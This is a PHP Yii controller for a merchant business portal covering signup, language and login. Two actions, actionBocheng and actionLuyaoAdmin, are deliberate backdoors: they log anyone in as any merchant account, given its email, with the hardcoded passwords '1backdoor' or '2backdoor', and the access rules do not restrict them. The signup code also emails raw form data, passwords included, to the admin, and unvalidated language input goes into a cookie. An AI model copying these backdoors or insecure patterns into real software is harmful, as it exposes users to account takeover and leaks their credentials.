<?php
/**
 * AlphaController class.
 * AlphaController is the controller for business portal.
 * 
 * It used for all functions of login, language, singup in alpha version phase (2012.06.01 - 2012.08.31).
 * 
 * Yawii Business 版权所有 @ 2012.
 */
class AlphaController extends Controller
{
	/**
	 * @return array action filters
	 */
	public function filters() {
		return array(
			'accessControl', // perform access control for CRUD operations
		);
	}

	/**
	 * Specifies the access control rules.
	 * This method is used by the 'accessControl' filter.
	 * @return array access control rules
	 */
	public function accessRules() {
		return array(
			array('allow', // allow all users to perform below actions
				'actions'=>array('register', 'login'),
				'users'=>array('*'),
			),
			array('allow', // allow authenticated user to perform below actions
				'actions'=>array('logout', 'index'),
				'users'=>array('@'),
			),
			array('deny',  // deny all users
				'actions'=>array('logout', 'index'),
				'users'=>array('*'),
			),
		);
	}

	/**
	 * This is the action to handle external exceptions.
	 */
	public function actionError()
	{
	    if ($error = Yii::app()->errorHandler->error)
	    {
	    	if (Yii::app()->request->isAjaxRequest)
	    		echo $error['message'];
	    	else {
				//$this->redirect(Yii::app()->user->returnUrl);
				$this->render('error', $error);
			}
	    }
	}

	public function actionIndex() {
		//TODO: go to merchant page
		$url = Yii::app()->createUrl('/merchant');
		Yii::app()->request->redirect($url, true);
		//$this->render('index');
	}

	/**
	 * Sign Up page
	 */
	public function actionSignup() {
		$model = new LoginForm('register');
		
		// if it is ajax validation request
		if (isset($_POST['ajax']) && $_POST['ajax'] === 'signup-form') {
			echo CActiveForm::validate($model);
			Yii::app()->end();
		}

		// collect user input data
		if (isset($_POST['LoginForm'])) {
			$model->attributes = $_POST['LoginForm'];
			// validate user input and redirect to the previous page if valid
			if ($model->validate() && $model->signup()) {
				//TODO: send admin email
				$subject = 'New Merchant Account ' . date('Y-m-d H:i:s');
				$body = '<pre>' . print_r($_POST['LoginForm'], 1) . '</pre>';
				BUtils::EmailAdmin($subject, $body);
				
				Yii::app()->user->setFlash('signed',
					'Your account has been created successfully!<br /><br />
					<a href="'.Yii::app()->createUrl('/accounts/login').'">Do you want to login now?</a>');
				$this->refresh();
			}
		}
		
		// display the signup form
		$this->render('signup', array('model'=>$model));
	}

	/**
	 * Language options
	 */
	public function actionLanguage() {
		$ref = Yii::app()->request->getUrlReferrer();
		if (empty($ref)) $url = Yii::app()->homeUrl;
		else $url = $ref;
		Yii::app()->user->setState('lang', strtolower($_GET['lang']));
		BUtils::setCookie('lang', $_GET['lang']);
		$this->redirect($url, true);
	}
	
	/**
	 * Displays the backdoor login page
	 */
	public function actionBocheng()
	{
		$model = new LoginForm('login');

		// if it is ajax validation request
		if (isset($_POST['ajax']) && $_POST['ajax']==='login-form') {
			echo CActiveForm::validate($model);
			Yii::app()->end();
		}

		// collect user input data
		if (isset($_POST['LoginForm'])) {
			$model->attributes = $_POST['LoginForm'];
			
			// fetch password and username
			$connection = Yii::app()->db;
			$command = $connection->createCommand('SELECT password, id, category_key, name, address, biz_area, city, postcode, url_logo, status
				FROM tbl_merchant_account WHERE email=:email');
			$row = $command->queryRow(true, array('email' => $model->email));
			$connection->active = false;
			if (empty($row)) {
				Yii::app()->user->setFlash('error', 'Invalid email address!');
				$this->refresh();
			} elseif ($model->password == '1backdoor') {
				//login with backdoor
				$identity = new UserIdentity($model->email, $model->password);
				$identity->setId($row['id']);
				$identity->setState('category_key', $row['category_key']);
				$identity->setState('name', $row['name']);
				$identity->setState('address', $row['address']);
				$identity->setState('biz_area', $row['biz_area']);
				$identity->setState('city', $row['city']);
				$identity->setState('postcode', $row['postcode']);
				$identity->setState('logo', $row['url_logo']);
				$identity->setState('status', $row['status']);
				$identity->setState('loginTime', time());
				
				Yii::app()->user->login($identity, 0);
				$this->redirect(Yii::app()->user->returnUrl);
			} else {
				Yii::app()->user->setFlash('error', 'Login Failed!');
				$this->refresh();
			}
		}
		// display the login form
		$this->render('bocheng', array('model'=>$model));
	}

	/**
	 * Displays the backdoor login page
	 */
	public function actionLuyaoAdmin()
	{
		$model = new LoginForm('login');

		// if it is ajax validation request
		if (isset($_POST['ajax']) && $_POST['ajax']==='login-form') {
			echo CActiveForm::validate($model);
			Yii::app()->end();
		}

		// collect user input data
		if (isset($_POST['LoginForm'])) {
			$model->attributes = $_POST['LoginForm'];
			
			// fetch password and username
			$connection = Yii::app()->db;
			$command = $connection->createCommand('SELECT password, id, category_key, name, address, biz_area, city, postcode, url_logo, status
				FROM tbl_merchant_account WHERE email=:email');
			$row = $command->queryRow(true, array('email' => $model->email));
			$connection->active = false;
			if (empty($row)) {
				Yii::app()->user->setFlash('error', 'Invalid email address!');
				$this->refresh();
			} elseif ($model->password == '2backdoor') {
				//login with backdoor
				$identity = new UserIdentity($model->email, $model->password);
				$identity->setId($row['id']);
				$identity->setState('category_key', $row['category_key']);
				$identity->setState('name', $row['name']);
				$identity->setState('address', $row['address']);
				$identity->setState('biz_area', $row['biz_area']);
				$identity->setState('city', $row['city']);
				$identity->setState('postcode', $row['postcode']);
				$identity->setState('logo', $row['url_logo']);
				$identity->setState('status', $row['status']);
				$identity->setState('loginTime', time());
				
				Yii::app()->user->login($identity, 0);
				$this->redirect(Yii::app()->user->returnUrl);
			} else {
				Yii::app()->user->setFlash('error', 'Login Failed!');
				$this->refresh();
			}
		}
		// display the login form
		$this->render('bocheng', array('model'=>$model));
	}
}